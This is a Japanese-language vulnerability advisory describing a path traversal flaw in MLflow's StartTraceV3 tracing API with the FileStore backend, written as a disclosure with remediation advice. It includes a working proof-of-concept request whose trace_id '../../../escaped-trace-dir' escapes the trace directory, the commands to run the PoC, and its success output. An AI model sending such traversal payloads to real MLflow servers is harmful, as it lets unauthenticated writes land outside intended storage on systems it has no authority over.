<= 3.17.1 StartTraceV3 パストラバーサル深刻度: 高、CVSS 3.1 8.2
ベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
影響を受けるバージョン: FileStore トラッキングバックエンドを使用している場合の MLflow バージョン <= 3.17.1
コンポーネント: MLflow Tracing API、StartTraceV3 / FileStore.start_trace()
CWE: CWE-22 (パス名の制限ディレクトリへの不適切な制限)、 CWE-23 (相対パストラバーサル)、CWE-73 (ファイル名またはパスの外部制御)
発見および報告者: Sai Teja Erukude
MLflow は StartTraceV3 トレーシング API を通じて、クライアントが制御する trace_info.trace_id を受け入れます。トラッキングバックエンドが FileStore の場合、この ID は ../ などのトラバーサルセグメントを拒否することなく、ファイルシステムパスの構築に使用されます。
攻撃者は ../../../escaped-trace-dir のようなトレース ID を送信することで、意図された実験トレースディレクトリから脱出できます。その後 MLflow は、トレースストレージツリーの外側にある解決済みディレクトリにトレース関連ファイルを作成します。
トレーシングエンドポイントが認証やアクセス制限なしで公開されている場合、未認証のクライアントが、サーバープロセスのファイルシステム権限の範囲内で、FileStore ベースのサーバー上の MLflow 制御下のトレースファイルのファイルシステム上の場所に影響を与える可能性があります。含まれている PoC は Flask のローカルテストクライアントを使用しており、デプロイメントのネットワーク露出や認証設定をテストするものではありません。
PoC は、意図された実験トレースディレクトリの外側への書き込みを実証しています:
trace_info.yaml: クライアントが提供したトレース情報を含む。request_metadata/poc_metadata: 攻撃者が制御するメタデータを含む。tags/poc_tag: 攻撃者が制御するタグ値を含む。これは、リクエストデータがトレース関連ファイルの書き込み先を制御できるようにすることで、整合性に影響を与えます。トレースストレージツリーの外側にある予期しないディレクトリやファイルは、限定的な可用性への影響を引き起こす可能性もあります。実証された書き込みは MLflow のトレースファイル形式とファイル名を使用しており、任意のファイル内容、コード実行、または機密性への影響を確立するものではありません。
このレポートは以下の CVSS 3.1 メトリクスを割り当てています:
| メトリクス | 値 |
|---|---|
| 攻撃ベクター (AV) | ネットワーク (N) |
| 攻撃の複雑さ (AC) | 低 (L) |
| 必要な特権 (PR) | なし (N) |
| ユーザー操作 (UI) | なし (N) |
| スコープ (S) | 変更なし (U) |
| 機密性 (C) | なし (N) |
| 整合性 (I) | 高 (H) |
| 可用性 (A) | 低 (L) |
脆弱なリクエストパスは次のとおりです:
POST /api/3.0/mlflow/traces
-> _start_trace_v3()
-> TraceInfo.from_proto(...)
-> FileStore.start_trace(trace_info)
-> filesystem path construction using trace_info.trace_id
-> directory creation and trace information, metadata, and tag writes
リクエストは trace.trace_info 内で ID を提供します:
{
"trace": {
"trace_info": {
"trace_id": "../../../escaped-trace-dir",
"trace_location": {
"type": "MLFLOW_EXPERIMENT",
"mlflow_experiment": {
"experiment_id": "0"
}
},
"trace_metadata": {
"poc_metadata": "attacker-controlled metadata"
},
"tags": {
"poc_tag": "attacker-controlled tag"
}
}
}
}
この抜粋は、トラバーサルに関連するフィールドを示しています。ランナーは、トレース状態、タイムスタンプ、プレビューフィールドを含む完全なリクエストを構築します。
クライアントが制御する ID は、PoC ディレクトリを基準として次のパス解決を生成します:
Expected trace storage: mlruns/0/traces/
Supplied trace ID: ../../../escaped-trace-dir
Joined trace path: mlruns/0/traces/../../../escaped-trace-dir/
Resolved trace path: escaped-trace-dir/
保存されたレスポンスは HTTP 200 を返し、悪意のあるトレース ID を保持します。
生成されたファイルは mlruns/ の隣、意図された実験トレース
ディレクトリの外に配置されます。
run_poc.py は悪意のある StartTraceV3 リクエストを構築し、
ローカルの FileStore を設定し、Flask のテストクライアント経由で実際の MLflow HTTP ルートを呼び出し、
レスポンスとファイルシステムの証拠を記録します。これは、待ち受けネットワークサーバーを起動せずに
このルートを実行します。
python -m venv .venv
.\.venv\Scripts\Activate.ps1
python -m pip install -r requirements.txt
python -B run_poc.py
機械可読な結果を出力するには:
python -B run_poc.py --json
保存された証拠にはこれらの結果が含まれており、ここでは省略しています:
{
"package": {
"distribution": "mlflow",
"version": "3.17.1"
},
"endpoint": "/api/3.0/mlflow/traces",
"status_code": 200,
"malicious_trace_id": "../../../escaped-trace-dir",
"checks": {
"http_success": true,
"trace_info_written_outside_traces_dir": true,
"trace_metadata_file_written": true,
"tag_file_written": true
},
"success": true
}
ランナーは以下を保存します:
evidence/start-trace-request.json:
完全なリクエストボディ。evidence/start-trace-response.json:
サーバーのレスポンス。evidence/escaped-trace-info.yaml:
トレースディレクトリの外に書き込まれたトレース情報のコピー。evidence/summary.json:
パッケージのバージョン、解決されたパス、ステータスコード、および検証結果。success: true と終了コード 0 は、パストラバーサルが再現されたことを意味します。チェックに失敗した場合は終了コード 1 を返しますが、これだけではバージョンが修正済みであることを証明するものではありません。
ペイロードは、PoC ディレクトリ内の escaped-trace-dir/ の下にデモ用のトレースデータを書き込みます。ランナーは mlruns/ と evidence/ も書き込むため、再実行すると保存済みの証拠が置き換えられます。ランナーは以前の実行で既に存在している可能性のあるファイルをチェックするため、新しい結果を収集する際は新しいコピーを使用してください。保存された証拠内の絶対パスは元の再現環境を識別するものであり、新しいチェックアウトでは異なります。
ローカルデモ動画も含まれています。
パスを構築したりディレクトリを作成したりする前に、FileStore の境界でトレース ID を検証してください:
これらのチェックは、ファイルシステムへの副作用が発生する前に実施してください。無効な ID は INVALID_PARAMETER_VALUE を発生させ、HTTP ルートは 400 を返すべきです。有効なトレース ID は引き続き機能する必要があります。ファイルシステム固有の制限は FileStore バックエンドに留め、他のバックエンドがサポートする ID 形式を維持できるようにしてください。
テスト済みのパッチがデプロイされるまでは、トレース作成エンドポイントへのアクセスを制限するか、互換性を確認した上でトレース追跡を設定済みの SQL バックエンドに移行してください。
推奨されるパッチ、互換性に関する考慮事項、およびリグレッションチェックについては fix.md を参照してください。ルックアップと削除に関する推奨事項はソースレビューに基づくものであり、含まれている PoC は StartTraceV3 の作成パスを実証しています。
Sai Teja Erukude によって発見および報告されました。
開示は VulnCheck を通じて調整されました。